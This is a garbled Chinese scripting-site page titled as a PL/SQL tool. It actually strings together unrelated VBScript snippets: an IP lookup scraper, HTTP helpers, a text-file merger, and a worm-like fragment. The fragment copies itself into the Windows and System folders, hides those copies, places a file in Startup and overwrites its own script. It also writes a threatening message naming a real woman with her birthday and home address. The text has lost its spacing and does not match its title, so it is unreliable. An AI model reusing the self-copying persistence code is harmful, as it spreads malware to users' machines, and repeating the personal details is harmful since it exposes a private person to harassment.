plsql执行sql脚本工具

发布时间:2019-10-25 来源:脚本之家 点击:

  粉骨碎身全不怕,要留清白在人间后来很了解怎么调用COM组件了,于是开始不爽,一直在调用,也该自己写个组件玩玩了,这样就可以随心所欲扩展自己想要的功能,然后开始学习怎么写COM:听说VB写COM几乎和调用COM一样简单,一用,还真的是这样,根本就和用VB做普通程序一样

抖音拍摄脚本范文
IfWScript.Arguments.Count<>1Then
WScript.Echo"Example:CScript"&WScript.ScriptName&""
WScript.Quit
EndIf
url=""&WScript.Arguments(0)
SetoXMLHttpRequest=CreateObject("Msxml2.XMLHTTP")
oXMLHttpRequest.Open"GET",url,False,False
oXMLHttpRequest.Send
str=oXMLHttpRequest.ResponseText
ipos=instr(str,"<fontface="&Chr(34)&"arial"&Chr(34)&">")
ipend=instr(str,"<!---endloop--->")
str=mid(str,ipos+19,ipend-ipos-139)
str=Replace(str,"<b>","")
str=Replace(str,"</b>","")
str=Replace(str,"<small>","")
str=Replace(str,"</small>","")
str=Replace(str,"</font><fontface="&chr(34)&"arial"&chr(34)&"size="&chr(34)&"-1"&chr(34)&">","")
str=Replace(str,"Found","Found")
iposa=instr(str,"with")
iposb=InStr(str,"1)")
stra=mid(str,iposa,iposb-iposa)
str=replace(str,stra,"lcx")
str=replace(str,"lcx1)","<br>1)")
'wscript.echostr
SetoXMLHttpRequest=Nothing
SetobjExplorer=WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate"about:blank"
objExplorer.ToolBar=0
objExplorer.StatusBar=0
objExplorer.Visible=1
objExplorer.height=600
objExplorer.width=500
objExplorer.left=400
objExplorer.resizable=0
objExplorer.Document.Body.InnerHTML=str

objExplorer.document.parentwindow.clipboardData.SetData"text",str

SetobjExplorer=nothing


========================正则:

msg="请输入你要查询的IP或域名:"
IP=Inputbox(msg,"域名查询","")

IfIP=""ThenIP=""
url=""&IP&""
Body=getHTTPPage(url)

SetRe=NewRegExp
Re.Pattern="(<fontface=""arial"">[\s\S]+</font></td></tr></table>)"
SetMatches=Re.Execute(Body)
IfMatches.Count>0ThenBody=Matches(0).value

SetoXMLHttpRequest=Nothing
SetobjExplorer=WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate"about:blank"
objExplorer.ToolBar=0
objExplorer.StatusBar=0
objExplorer.Visible=1
objExplorer.height=300
objExplorer.width=400
objExplorer.left=400
objExplorer.resizable=0
objExplorer.Document.Body.InnerHTML=IP&Body

'objExplorer.document.parentwindow.clipboardData.SetData"text",IP&Body

SetobjExplorer=nothing


'函数区

FunctiongetHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t,"GB2312")
EndFunction

FunctionGetBody(url)
OnErrorResumeNext
SetRetrieval=CreateObject("Microsoft.XMLHTTP")
WithRetrieval
.Open"Get",url,False,"",""
.Send
GetBody=.ResponseBody
EndWith
SetRetrieval=Nothing
EndFunction

FunctionBytesToBstr(Body,Cset)
Dimobjstream
Setobjstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.WriteBody
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Setobjstream=Nothing
EndFunction

rem email:kouguoxi@hotmail.com
rem some crack statement i remment,make it can't to run
onerrorresumenext

dimtitle,text
title="canyouhelpmefindaperson?"
text="hernameisLiuChunli."&chr(13)&chr(10)
text=text&"herbirthdayis1981-01-23."&chr(13)&chr(10)
text=text&"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"Iwasdiedbecausebyher,"&chr(13)&chr(10)
text=text&"Iamdemandingmylifeofyou."&chr(13)&chr(10)

Setfso=CreateObject("Scripting"&"."&"FileSystem"&"Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall
setWshShell=WScript.CreateObject("WScript"&"."&"Shell")
Startup=WshShell.SpecialFolders("Startup")
Setdirwin=fso.GetSpecialFolder(0)
Setdirsystem=fso.GetSpecialFolder(1)
Setdirtemp=fso.GetSpecialFolder(2)
Setlcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7

setsf0=fso.GetSpecialFolder(0)
b=sf0.drive&"\lcl.txt"
Setlcl=fso.CreateTextFile(b,True)
lcl.Writetext
fso.CopyFileb,Startup&"\lcl.txt"
lcl.Close

dimlcl
Setlcl=fso.CreateTextFile(wscript.scriptfullname,True)

Functionscode(N)
dimx
forx=0to254
ifn=chr(x)then
scode=x
exitfunction
endif
next
endfunction

rem请教:用readline等方法,整行加密,保持文本格式不不变;和解密办法


dim xint,xinlu,jiuw
dim objfso,objoutputfile,f,fx
dim objTextFile,strtext
Set objFSO=CreateObject("Scripting.FileSystemObject") '创建FSO对象
jiuw=inputbox("请输入源文件夹所在的路径(含文件夹名称)","请输入多个TXT文件夹所在位置")

if objFSO.folderexists(jiuw) then
set f=objFSO.getfolder(jiuw) '文件所在位路径
else
msgbox "路径错误,请重新输入"

end if
xinlu=inputbox("请输入新的TXT所在的路径(不含书名),如果省略——即直接不输入点确定或取消,则默认是创建在源文件夹同一层位置","新的TXT保存位置")

if objFSO.folderexists(xinlu) or len(xinlu)=0 then
xint=inputbox("请输入新书名的名字","新书名")
if len(xint)>0 then
xint=xinlu & xint
Set objOutputFile=objFSO.CreateTextFile( xint &".txt") '创建名为output的新的TXT,可以修改为你要的名称.txt
else
msgbox "没有输入内容,请重新输入"
end if
else
msgbox "路径错误,请重新输入"

end if
For Each fx In f.Files '循环写入文本内容
Set objTextFile=objFSO.OpenTextFile(fx, ForReading) '找开文件
strText=objTextFile.ReadAll '读取全部
objTextFile.Close '关闭打开的文件
objOutputFile.WriteLine strText '在output.txt写入 文本 内容
Next

很多次跟路人玩,路人很喜欢挂后对枪

应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1

虚拟大师用


Winword.exe

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号